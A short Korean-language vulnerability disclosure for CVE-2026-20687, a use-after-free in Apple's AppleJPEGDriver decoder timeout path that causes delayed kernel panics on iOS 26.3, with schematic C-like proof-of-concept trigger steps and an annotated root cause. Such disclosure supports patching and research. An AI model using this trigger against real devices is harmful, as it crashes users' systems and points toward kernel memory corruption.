
CVE-2026-20687: AppleJPEGDriver startDecoder 타임아웃 UAF — iOS/macOS 커널 취약점으로 지연 패닉 유발 (A19 Pro, iOS 26.3 RC)
CVE-2026-20687 | 작성자: Johnny Franks (@0xjohnny)
구성 요소: 커널
영향: 앱이 예기치 않은 시스템 종료를 유발하거나 커널 메모리에 쓸 수 있음
설명: 메모리 관리 개선을 통해 use after free 문제가 해결되었습니다.
이로 인해 기기가 커널 패닉에 빠집니다. 작업 내용을 저장하세요.
iOS 26.3 (23D125), iPhone18,2 (iPhone 17 Pro Max, A19 Pro)에서 테스트되었습니다.
직접 트리거:
// PoC: 드라이버를 초기화합니다. 패닉은 보통 Camera를 열 때까지 지연됩니다.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// 이후 Camera를 열면 다음이 트리거됩니다:
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: 디큐하지 않음 (req + 0x78)
// 그 이후 (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // 오래된 포인터: node_ptr == (해제된 req + 0x78)
req2 = *(node_ptr + 0x8); // req+0x80에 대한 UAF 읽기 -> MTE 태그 오류 -> 패닉
ios-app/Test.xcodeproj를 엽니다